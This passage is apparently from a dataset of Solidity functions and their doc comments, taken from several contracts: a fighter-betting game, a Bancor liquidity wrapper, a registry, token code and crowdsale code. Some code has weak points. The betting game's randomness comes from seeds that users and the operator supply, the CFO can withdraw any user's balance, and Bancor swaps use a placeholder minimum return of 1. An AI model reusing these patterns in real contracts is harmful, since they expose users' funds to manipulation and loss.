partners PartnerHolder public partners; // all betting data mapping (uint => Betting[]) public allBittings; // key is season * 1000 + index // bet on the fighter, mapping (uint => uint) public betOnFighter; // key is season * 1000 + index // address to balance. mapping( address => uint) public balances; /// @dev constructor of contract, set partners function BetOnMatch(address _partners) public { ceoAddress = msg.sender; cooAddress = msg.sender; cfoAddress = msg.sender; partners = PartnerHolder(_partners); } /// @dev bet to the match function betOn( uint32 _season, uint32 _index, uint _seed, address _invitor) payable external returns (bool){ require(isNormalUser(msg.sender)); require(matchTime[_season] > 0); require(now < matchTime[_season] - 300); // 5 minites before match. require(msg.value >= 1 finney && msg.value < 99999 ether ); Betting memory tmp = Betting({ account:msg.sender, season:_season, index:_index, seed:_seed, invitor:_invitor, amount:msg.value }); uint key = _season * 1000 + _index; betOnFighter[key] = safeAdd(betOnFighter[key], msg.value); Betting[] storage items = allBittings[key]; items.push(tmp); Fighter storage soldier = soldiers[key]; emit Betted( _season, _index, msg.sender, msg.value); emit LogBet( _season, msg.sender, msg.value, _seed, key, soldier.hometown, soldier.tokenID ); } /// @dev set a fighter for a season, prepare for combat. function getFighters( uint32 _season) public view returns (address[8] outHome, uint[8] outTokenID, uint[8] power, address[8] owner, uint[8] funds) { for (uint i = 0; i < 8; i++) { uint key = _season * 1000 + i; funds[i] = betOnFighter[key]; Fighter storage soldier = soldiers[key]; outHome[i] = soldier.hometown; outTokenID[i] = soldier.tokenID; power[i] = soldier.power; owner[i] = soldier.owner; } } /// @notice process a combat, it is expencive, so provide enough gas function processSeason(uint32 _season) public onlyCOO { uint64 fightTime = matchTime[_season]; require(now >= fightTime && fightTime > 0); uint sumFund = 0; uint sumSeed = 0; (sumFund, sumSeed) = _getFightData(_season); if (sumFund == 0) { finished[_season] = 110; doLogFighter(_season,0,0); emit SeasonNone(_season); emit LogMatch( _season, sumFund, fightTime, sumSeed, 0, 0, 0, false ); } else { uint8 champion = _localFight(_season, uint32(sumSeed)); uint percentile = safeDiv(sumFund, 100); uint devCut = percentile * 4; // for developer uint partnerCut = percentile * 5; // for partners uint fighterCut = percentile * 1; // for fighters uint bonusWinner = percentile * 80; // for winner // for salesman percentile * 10 _bonusToPartners(partnerCut); _bonusToFighters(_season, champion, fighterCut); bool isRefound = _bonusToBettor(_season, champion, bonusWinner); _addMoney(cfoAddress, devCut); uint key = _season * 1000 + champion; Fighter storage soldier = soldiers[key]; doLogFighter(_season,key,fighterCut); emit SeasonWinner(_season, champion); emit LogMatch( _season, sumFund, fightTime, sumSeed, key, soldier.hometown, soldier.tokenID, isRefound ); } clearTheSeason(_season); } function clearTheSeason( uint32 _season) internal { for (uint i = 0; i < 8; i++){ uint key = _season * 1000 + i; delete soldiers[key]; delete allBittings[key]; } } /// @dev write log about 8 fighters function doLogFighter( uint32 _season, uint _winnerKey, uint fighterReward) internal { for (uint i = 0; i < 8; i++){ uint key = _season * 1000 + i; uint8 isWin = 0; uint64 fightTime = matchTime[_season]; uint winMoney = safeDiv(fighterReward, 10); if(key == _winnerKey){ isWin = 1; winMoney = safeMul(winMoney, 3); } Fighter storage soldier = soldiers[key]; emit LogFighter( _season, soldier.owner, key, betOnFighter[key], soldier.hometown, soldier.tokenID, soldier.power, isWin,winMoney,fightTime); } } /// @dev caculate fund and seed value function _getFightData(uint32 _season) internal returns (uint outFund, uint outSeed){ outSeed = seedFromCOO[_season]; for (uint i = 0; i < 8; i++){ uint key = _season * 1000 + i; uint fund = 0; Betting[] storage items = allBittings[key]; for (uint j = 0; j < items.length; j++) { Betting storage item = items[j]; outSeed += item.seed; fund += item.amount; uint forSaler = safeDiv(item.amount, 10); // 0.1 for salesman if (item.invitor == address(0)){ _addMoney(cfoAddress, forSaler); } else { _addMoney(item.invitor, forSaler); } } outFund += fund; } } /// @dev add fund to the address. function _addMoney( address user, uint val) internal { uint oldValue = balances[user]; balances[user] = safeAdd(oldValue, val); } /// @dev bonus to partners. function _bonusToPartners(uint _amount) internal { if (partners == address(0)) { _addMoney(cfoAddress, _amount); } else { partners.bonusAll.value(_amount)(); } } /// @dev bonus to the fighters in the season. function _bonusToFighters(uint32 _season, uint8 _winner, uint _reward) internal { for (uint i = 0; i < 8; i++) { uint key = _season * 1000 + i; Fighter storage item = soldiers[key]; address owner = item.owner; uint fund = safeDiv(_reward, 10); if (i == _winner) { fund = safeMul(fund, 3); } if (owner == address(0)) { _addMoney(cfoAddress, fund); } else { _addMoney(owner, fund); } } } /// @dev bonus to bettors who won. function _bonusToBettor(uint32 _season, uint8 _winner, uint bonusWinner) internal returns (bool) { uint winnerBet = _getWinnerBetted(_season, _winner); uint key = _season * 1000 + _winner; Betting[] storage items = allBittings[key]; if (items.length == 0) { backToAll(_season); return true; } else { for (uint j = 0; j < items.length; j++) { Betting storage item = items[j]; address account = item.account; uint newFund = safeDiv(safeMul(bonusWinner, item.amount), winnerBet); _addMoney(account, newFund); } return false; } } /// @dev nobody win, return fund back to all bettors. function backToAll(uint32 _season) internal { for (uint i = 0; i < 8; i++) { uint key = _season * 1000 + i; Betting[] storage items = allBittings[key]; for (uint j = 0; j < items.length; j++) { Betting storage item = items[j]; address account = item.account; uint backVal = safeDiv(safeMul(item.amount, 8), 10); // amount * 0.8 _addMoney(account, backVal); } } } /// @dev caculate total amount betted on winner function _getWinnerBetted(uint32 _season, uint32 _winner) internal view returns (uint){ uint sum = 0; uint key = _season * 1000 + _winner; Betting[] storage items = allBittings[key]; for (uint j = 0; j < items.length; j++) { Betting storage item = items[j]; sum += item.amount; } return sum; } /// @dev partner withdraw, function userWithdraw() public { uint fund = balances[msg.sender]; require (fund > 0); delete balances[msg.sender]; msg.sender.transfer(fund); } /// @dev cfo withdraw dead ether. function withdrawDeadFund( address addr) external onlyCFO { uint fund = balances[addr]; require (fund > 0); delete balances[addr]; cfoAddress.transfer(fund); } }
set a fighter for a season, prepare for combat.
function getFighters( uint32 _season) public view returns (address[8] outHome, uint[8] outTokenID, uint[8] power, address[8] owner, uint[8] funds) { for (uint i = 0; i < 8; i++) { uint key = _season * 1000 + i; funds[i] = betOnFighter[key]; Fighter storage soldier = soldiers[key]; outHome[i] = soldier.hometown; outTokenID[i] = soldier.tokenID; power[i] = soldier.power; owner[i] = soldier.owner; } }
12,713,693
./full_match/80001/0xdCdf0B3d68A4E11eF2703b87020dC5a9c66babf7/sources/@superfluid-finance/ethereum-contracts/contracts/apps/SuperTokenV1Library.sol
Claims pending distribution. Subscription should not be approved. This takes arbitrary user data. token Super Token used with the index. publisher Publisher of the index. indexId ID of the index. subscriber Subscriber address that receives the claim. userData Arbitrary user data field./
function claim( ISuperToken token, address publisher, uint32 indexId, address subscriber, bytes memory userData ) internal returns (bool) { (ISuperfluid host, IInstantDistributionAgreementV1 ida) = _getAndCacheHostAndIDA(token); host.callAgreement( ida, abi.encodeCall( ida.claim, ( token, publisher, indexId, subscriber, ) ), userData ); return true; }
856,004
./full_match/4/0x7dcD4A6858415C110cee5bBD6Edc21d3C3afBAfb/sources/contracts/FennecFox.sol
Sets `amount` as the allowance of `spender` over the `owner` s tokens. This internal function is equivalent to `approve`, and can be used to e.g. set automatic allowances for certain subsystems, etc. Emits an {Approval} event. Requirements: - `owner` cannot be the zero address. - `spender` cannot be the zero address./
function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); }
789,793
./full_match/4/0x40481bAff20F00594fd39Ac4680F8C39b33a29d2/sources/contracts/AttackingDog.sol
require(numBigToknes <= TOKEN_BIG_LIMIT, "MINT LIMIT");
function sireOfNothing(AttackDogLib.DogsMetaData memory meta, address to) public onlyRole(CTO) returns (uint256 _tokenId) { _tokenId = numTokens++; _mint(to, _tokenId); meta.birth = uint64(block.timestamp); metaDataMap[_tokenId] = meta; }
12,371,833
pragma solidity ^0.6.0; /** * @notice This contract only lets the user supply ETH to * the Bancor liquidity pool */ import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "./IBancorNetwork.sol"; import "./IBancorConverter.sol"; import "./IBancorFormula.sol"; import "./IEtherToken.sol"; contract ProvideLiquidity is Initializable { // User is effectively the contract owner. All funds in this contract // are only for the user address public user; // Factory is the address of the parent factory contract. This is used // to restrict function calls to being either directly from the user // or from the factory contract address public factory; // Contracts needed to interact with Bancor IBancorNetwork public constant BancorNetwork = IBancorNetwork(0x3Ab6564d5c214bc416EE8421E05219960504eeAD); IBancorConverter public constant BancorConverter = IBancorConverter(0xd3ec78814966Ca1Eb4c923aF4Da86BF7e6c743bA); IBancorFormula public constant BancorFormula = IBancorFormula(0x524619EB9b4cdFFa7DA13029b33f24635478AFc0); // Supported tokens IEtherToken public constant EtherToken = IEtherToken(0xc0829421C1d260BD3cB3E0F06cfE2D52db2cE315); IERC20 public constant EtherTokenIERC20 = IERC20(0xc0829421C1d260BD3cB3E0F06cfE2D52db2cE315); IERC20 public constant BntToken = IERC20(0x1F573D6Fb3F13d689FF844B4cE37794d79a7FF1C); IERC20 public constant EthBntToken = IERC20(0xb1CD6e4153B2a390Cf00A6556b0fC1458C4A5533); // =============================================================================================== // Events // =============================================================================================== /** * @notice Emitted when the contract is initialized */ event Initialized(address indexed user); /** * @notice Emitted when user enters the pool */ event PoolEntered(uint256 indexed amount); /** * @notice Emitted when the user leaves the pool */ event PoolExited(uint256 indexed amount); /** * @dev Emitted when a token is withdrawn without being converted to Chai */ event TokensWithdrawn(uint256 indexed amount, address token); /** * @dev Emitted when Ether is withdrawn without being converted to Chai */ event EtherWithdrawn(uint256 indexed amount); // =============================================================================================== // Initialization // =============================================================================================== modifier onlyUser() { require(msg.sender == user || msg.sender == factory, "ProvideLiquidity: Caller is not authorized"); _; } /** * @notice Set the address of the user who this contract is for and * executes token approvals * @dev initializer modifier ensures this can only be called once */ function initializeContract(address _user) external initializer { emit Initialized(_user); user = _user; factory = msg.sender; // Approvals EtherToken.approve(address(BancorConverter), uint256(-1)); BntToken.approve(address(BancorConverter), uint256(-1)); EtherToken.approve(address(BancorNetwork), uint256(-1)); BntToken.approve(address(BancorNetwork), uint256(-1)); } // =============================================================================================== // Entering Pool // =============================================================================================== /** * @notice Swap Ether for Bancor's Ether Token */ function swapEtherForEtherToken() internal { uint256 _amount = address(this).balance / 2; // use half of the Ether EtherToken.deposit{value: _amount}(); } /** * @notice Swap half of the Ether Tokens held by this contract for BNT */ function swapEtherForBnt() internal { // Define conversion path IERC20[] memory _path = new IERC20[](3); (_path[0], _path[1], _path[2]) = (EtherTokenIERC20, EthBntToken, BntToken); // Define other swap parameters uint256 _amount = address(this).balance / 2; // use half of the Ether uint256 _minReturn = 1; // TODO update this address _affiliate = 0x0000000000000000000000000000000000000000; uint256 _fee = 0; // Convert token BancorNetwork.convert2{value: _amount}(_path, _amount, _minReturn, _affiliate, _fee); } /** * @notice Calculates the amount of ETHBNT tokens we should be receiving. * This value is needed as an input when entering a liquidity pool * @return uint256, amount of tokens */ function calculatePoolTokenAmount() internal returns (uint256) { // Get BNT parameters uint256 _reserveBalBnt = BntToken.balanceOf(address(BancorConverter)); uint256 _amtBnt = BntToken.balanceOf(address(this)); // Get EtherToken parameters uint256 _reserveBalEth = EtherToken.balanceOf(address(BancorConverter)); uint256 _amtEth = EtherToken.balanceOf(address(this)); // Get parameters that are the same for both EtherToken and BNT uint32 _ratio = 1000000; // 1,000,000 since we are doing a 50/50 split uint256 _supply = EthBntToken.totalSupply(); // ETHBNT pool token supply // Calculate the amount of reserve tokens received from each contribution uint256 _amtResBnt = BancorFormula.calculateFundCost(_supply, _reserveBalBnt, _ratio, _amtBnt); uint256 _amtResEth = BancorFormula.calculateFundCost(_supply, _reserveBalEth, _ratio, _amtEth); // Sum reserve token amounts to get the total return _amtResBnt + _amtResEth; } /** * @notice Enters user into Bancor's ETH liquidity pool. */ function enterPool() external onlyUser { // Swap half of the Ether sent for BNT swapEtherForBnt(); // Swap the other half of the Ether sent for EtherToken swapEtherForEtherToken(); // Enter the pool uint256 _amount = calculatePoolTokenAmount(); emit PoolEntered(_amount); BancorConverter.fund(_amount); } // =============================================================================================== // Exiting Pool // =============================================================================================== /** * @notice Swap all BNT held by this contract for EtherToken */ function swapBntForEtherToken() internal { // Define conversion path IERC20[] memory _path = new IERC20[](3); (_path[0], _path[1], _path[2]) = (BntToken, EthBntToken, EtherTokenIERC20); // Define other swap parameters uint256 _amount = BntToken.balanceOf(address(this)); uint256 _minReturn = 1; // TODO update this address _affiliate = 0x0000000000000000000000000000000000000000; uint256 _fee = 0; // Convert token BancorNetwork.claimAndConvert2(_path, _amount, _minReturn, _affiliate, _fee); } /** * @notice Exits the pool by redeeming tokens for the underlying and converting * them to ETH. We keep the ETH in this contract in case user wants to * enter a different liquidity pool next * @param _amount Amount of pool tokens to redeem */ function exitPool(uint256 _amount) external onlyUser { // Redeem pool tokens for the underlying emit PoolExited(_amount); BancorConverter.liquidate(_amount); // Convert all BNT to EtherToken swapBntForEtherToken(); // Convert all EtherToken to ETH uint256 _etherTokenBalance = EtherToken.balanceOf(address(this)); EtherToken.withdraw(_etherTokenBalance); } /** * @notice Required so contract can receive Ether deposits * @dev Solidity 0.6.0 changes fallback function implementation. * See: https://solidity.readthedocs.io/en/v0.6.4/contracts.html#receive-ether-function */ receive() external payable {} // =============================================================================================== // Escape Hatches // =============================================================================================== /** * @notice Transfers all tokens of the input adress to the recipient. This is * useful if you want to withdraw any tokens to your wallet, or if tokens * were accidentally sent to this contract they can now be withdrawn. * @param _tokenAddress address of token to send * @param _recipient address to send tokens to */ function withdrawTokens(address _tokenAddress, address _recipient) external onlyUser { IERC20 _token = IERC20(_tokenAddress); uint256 _balance = _token.balanceOf(address(this)); emit TokensWithdrawn(_balance, _tokenAddress); _token.transfer(_recipient, _balance); } /** * @notice Transfers all Ether to the specified address * @param _recipient address to send tokens to */ function withdrawEther(address _recipient) external onlyUser { uint256 _balance = address(this).balance; emit EtherWithdrawn(_balance); payable(_recipient).transfer(_balance); } }
Enters user into Bancor's ETH liquidity pool./ Swap half of the Ether sent for BNT Swap the other half of the Ether sent for EtherToken Enter the pool
function enterPool() external onlyUser { swapEtherForBnt(); swapEtherForEtherToken(); uint256 _amount = calculatePoolTokenAmount(); emit PoolEntered(_amount); BancorConverter.fund(_amount); }
5,401,155
// SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "../utility/ContractRegistryClient.sol"; import "./interfaces/IConverterRegistryData.sol"; /** * @dev The ConverterRegistryData contract is an integral part of the converter registry * as it serves as the database contract that holds all registry data. * * The registry is separated into two different contracts for upgradability - the data contract * is harder to upgrade as it requires migrating all registry data into a new contract, while * the registry contract itself can be easily upgraded. * * For that same reason, the data contract is simple and contains no logic beyond the basic data * access utilities that it exposes. */ contract ConverterRegistryData is IConverterRegistryData, ContractRegistryClient { struct Item { bool valid; uint256 index; } struct Items { address[] array; mapping(address => Item) table; } struct List { uint256 index; Items items; } struct Lists { address[] array; mapping(address => List) table; } Items private smartTokens; Items private liquidityPools; Lists private convertibleTokens; /** * @dev initializes a new ConverterRegistryData instance * * @param _registry address of a contract registry contract */ constructor(IContractRegistry _registry) ContractRegistryClient(_registry) public { } /** * @dev adds a smart token * * @param _anchor smart token */ function addSmartToken(IConverterAnchor _anchor) external override only(CONVERTER_REGISTRY) { addItem(smartTokens, address(_anchor)); } /** * @dev removes a smart token * * @param _anchor smart token */ function removeSmartToken(IConverterAnchor _anchor) external override only(CONVERTER_REGISTRY) { removeItem(smartTokens, address(_anchor)); } /** * @dev adds a liquidity pool * * @param _liquidityPoolAnchor liquidity pool */ function addLiquidityPool(IConverterAnchor _liquidityPoolAnchor) external override only(CONVERTER_REGISTRY) { addItem(liquidityPools, address(_liquidityPoolAnchor)); } /** * @dev removes a liquidity pool * * @param _liquidityPoolAnchor liquidity pool */ function removeLiquidityPool(IConverterAnchor _liquidityPoolAnchor) external override only(CONVERTER_REGISTRY) { removeItem(liquidityPools, address(_liquidityPoolAnchor)); } /** * @dev adds a convertible token * * @param _convertibleToken convertible token * @param _anchor associated smart token */ function addConvertibleToken(IERC20Token _convertibleToken, IConverterAnchor _anchor) external override only(CONVERTER_REGISTRY) { List storage list = convertibleTokens.table[address(_convertibleToken)]; if (list.items.array.length == 0) { list.index = convertibleTokens.array.length; convertibleTokens.array.push(address(_convertibleToken)); } addItem(list.items, address(_anchor)); } /** * @dev removes a convertible token * * @param _convertibleToken convertible token * @param _anchor associated smart token */ function removeConvertibleToken(IERC20Token _convertibleToken, IConverterAnchor _anchor) external override only(CONVERTER_REGISTRY) { List storage list = convertibleTokens.table[address(_convertibleToken)]; removeItem(list.items, address(_anchor)); if (list.items.array.length == 0) { address lastConvertibleToken = convertibleTokens.array[convertibleTokens.array.length - 1]; convertibleTokens.table[lastConvertibleToken].index = list.index; convertibleTokens.array[list.index] = lastConvertibleToken; convertibleTokens.array.pop(); delete convertibleTokens.table[address(_convertibleToken)]; } } /** * @dev returns the number of smart tokens * * @return number of smart tokens */ function getSmartTokenCount() external view override returns (uint256) { return smartTokens.array.length; } /** * @dev returns the list of smart tokens * * @return list of smart tokens */ function getSmartTokens() external view override returns (address[] memory) { return smartTokens.array; } /** * @dev returns the smart token at a given index * * @param _index index * @return smart token at the given index */ function getSmartToken(uint256 _index) external view override returns (IConverterAnchor) { return IConverterAnchor(smartTokens.array[_index]); } /** * @dev checks whether or not a given value is a smart token * * @param _value value * @return true if the given value is a smart token, false if not */ function isSmartToken(address _value) external view override returns (bool) { return smartTokens.table[_value].valid; } /** * @dev returns the number of liquidity pools * * @return number of liquidity pools */ function getLiquidityPoolCount() external view override returns (uint256) { return liquidityPools.array.length; } /** * @dev returns the list of liquidity pools * * @return list of liquidity pools */ function getLiquidityPools() external view override returns (address[] memory) { return liquidityPools.array; } /** * @dev returns the liquidity pool at a given index * * @param _index index * @return liquidity pool at the given index */ function getLiquidityPool(uint256 _index) external view override returns (IConverterAnchor) { return IConverterAnchor(liquidityPools.array[_index]); } /** * @dev checks whether or not a given value is a liquidity pool * * @param _value value * @return true if the given value is a liquidity pool, false if not */ function isLiquidityPool(address _value) external view override returns (bool) { return liquidityPools.table[_value].valid; } /** * @dev returns the number of convertible tokens * * @return number of convertible tokens */ function getConvertibleTokenCount() external view override returns (uint256) { return convertibleTokens.array.length; } /** * @dev returns the list of convertible tokens * * @return list of convertible tokens */ function getConvertibleTokens() external view override returns (address[] memory) { return convertibleTokens.array; } /** * @dev returns the convertible token at a given index * * @param _index index * @return convertible token at the given index */ function getConvertibleToken(uint256 _index) external view override returns (IERC20Token) { return IERC20Token(convertibleTokens.array[_index]); } /** * @dev checks whether or not a given value is a convertible token * * @param _value value * @return true if the given value is a convertible token, false if not */ function isConvertibleToken(address _value) external view override returns (bool) { return convertibleTokens.table[_value].items.array.length > 0; } /** * @dev returns the number of smart tokens associated with a given convertible token * * @param _convertibleToken convertible token * @return number of smart tokens associated with the given convertible token */ function getConvertibleTokenSmartTokenCount(IERC20Token _convertibleToken) external view override returns (uint256) { return convertibleTokens.table[address(_convertibleToken)].items.array.length; } /** * @dev returns the list of smart tokens associated with a given convertible token * * @param _convertibleToken convertible token * @return list of smart tokens associated with the given convertible token */ function getConvertibleTokenSmartTokens(IERC20Token _convertibleToken) external view override returns (address[] memory) { return convertibleTokens.table[address(_convertibleToken)].items.array; } /** * @dev returns the smart token associated with a given convertible token at a given index * * @param _index index * @return smart token associated with the given convertible token at the given index */ function getConvertibleTokenSmartToken(IERC20Token _convertibleToken, uint256 _index) external view override returns (IConverterAnchor) { return IConverterAnchor(convertibleTokens.table[address(_convertibleToken)].items.array[_index]); } /** * @dev checks whether or not a given value is a smart token of a given convertible token * * @param _convertibleToken convertible token * @param _value value * @return true if the given value is a smart token of the given convertible token, false it not */ function isConvertibleTokenSmartToken(IERC20Token _convertibleToken, address _value) external view override returns (bool) { return convertibleTokens.table[address(_convertibleToken)].items.table[_value].valid; } /** * @dev adds an item to a list of items * * @param _items list of items * @param _value item's value */ function addItem(Items storage _items, address _value) internal validAddress(_value) { Item storage item = _items.table[_value]; require(!item.valid, "ERR_INVALID_ITEM"); item.index = _items.array.length; _items.array.push(_value); item.valid = true; } /** * @dev removes an item from a list of items * * @param _items list of items * @param _value item's value */ function removeItem(Items storage _items, address _value) internal validAddress(_value) { Item storage item = _items.table[_value]; require(item.valid, "ERR_INVALID_ITEM"); address lastValue = _items.array[_items.array.length - 1]; _items.table[lastValue].index = item.index; _items.array[item.index] = lastValue; _items.array.pop(); delete _items.table[_value]; } }
returns the list of smart tokens return list of smart tokens/
function getSmartTokens() external view override returns (address[] memory) { return smartTokens.array; }
2,531,832
pragma solidity ^0.4.23; // File: node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: node_modules/openzeppelin-solidity/contracts/crowdsale/Crowdsale.sol /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are *not* intended to be modified / overriden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropiate to concatenate * behavior. */ contract Crowdsale { using SafeMath for uint256; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei. // The rate is the conversion between wei and the smallest and indivisible token unit. // So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called TOK // 1 wei will give you 1 unit, or 0.001 TOK. uint256 public rate; // Amount of wei raised uint256 public weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); /** * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.transfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } // File: node_modules/openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: node_modules/openzeppelin-solidity/contracts/crowdsale/validation/WhitelistedCrowdsale.sol /** * @title WhitelistedCrowdsale * @dev Crowdsale in which only whitelisted users can contribute. */ contract WhitelistedCrowdsale is Crowdsale, Ownable { mapping(address => bool) public whitelist; /** * @dev Reverts if beneficiary is not whitelisted. Can be used when extending this contract. */ modifier isWhitelisted(address _beneficiary) { require(whitelist[_beneficiary]); _; } /** * @dev Adds single address to whitelist. * @param _beneficiary Address to be added to the whitelist */ function addToWhitelist(address _beneficiary) external onlyOwner { whitelist[_beneficiary] = true; } /** * @dev Adds list of addresses to whitelist. Not overloaded due to limitations with truffle testing. * @param _beneficiaries Addresses to be added to the whitelist */ function addManyToWhitelist(address[] _beneficiaries) external onlyOwner { for (uint256 i = 0; i < _beneficiaries.length; i++) { whitelist[_beneficiaries[i]] = true; } } /** * @dev Removes single address from whitelist. * @param _beneficiary Address to be removed to the whitelist */ function removeFromWhitelist(address _beneficiary) external onlyOwner { whitelist[_beneficiary] = false; } /** * @dev Extend parent behavior requiring beneficiary to be in whitelist. * @param _beneficiary Token beneficiary * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal isWhitelisted(_beneficiary) { super._preValidatePurchase(_beneficiary, _weiAmount); } } // File: node_modules/openzeppelin-solidity/contracts/crowdsale/validation/TimedCrowdsale.sol /** * @title TimedCrowdsale * @dev Crowdsale accepting contributions only within a time frame. */ contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { // solium-disable-next-line security/no-block-members require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } /** * @dev Constructor, takes crowdsale opening and closing times. * @param _openingTime Crowdsale opening time * @param _closingTime Crowdsale closing time */ constructor(uint256 _openingTime, uint256 _closingTime) public { // solium-disable-next-line security/no-block-members require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { // solium-disable-next-line security/no-block-members return block.timestamp > closingTime; } /** * @dev Extend parent behavior requiring to be within contributing period * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal 